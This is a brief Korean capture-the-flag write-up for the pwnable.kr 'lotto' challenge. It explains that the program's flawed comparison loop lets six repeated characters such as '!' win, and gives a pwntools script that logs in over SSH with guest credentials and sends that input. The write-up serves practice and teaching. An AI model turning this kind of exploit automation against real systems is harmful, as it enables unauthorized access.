13. lotto

로또 프로그램이란다

바로 코드를 봤고
play() 함수만 보면 된다.

난수를 발생시켜 로또 숫자를 생성한다.

생성한 로또 번호를 모듈러 연산으로 1~45의 값만 가지게 하는데

유저가 키보드로 입력할 수 있는 값은 33("!")부터다..
1~ 32는 키보드로 입력할 수 없는 값인데..
어떻게 맞추나 했는데 로또 숫자 조건 검사식이 조금 이상하다.

lotto[i] == submit[j]
i.. j…
로또의 각 숫자를 제출한 6자리의 각 숫자와 비교하고..
맞을 경우 match가 증가한다.
제출을 같은 숫자 6자리로 제출하고…
로또의 6자리 수 중 하나라도 맞추면 정답인데..
경우의 수가 엄청 많아보이지만.. 넣을 수 있는 값인 33("!")을 반복해서 넣어서 일단 시도해봤다.

pwntools
from pwn import *
id = 'lotto'
host = 'pwnable.kr'
port = 2222
pw = 'guest'
s = ssh(id, host, port=port, password=pw)
res = s.run('./lotto')
res.recvuntil('Exit')
res.sendline('1')
res.recvuntil(':')
res.sendline('!!!!!!')
res.interactive()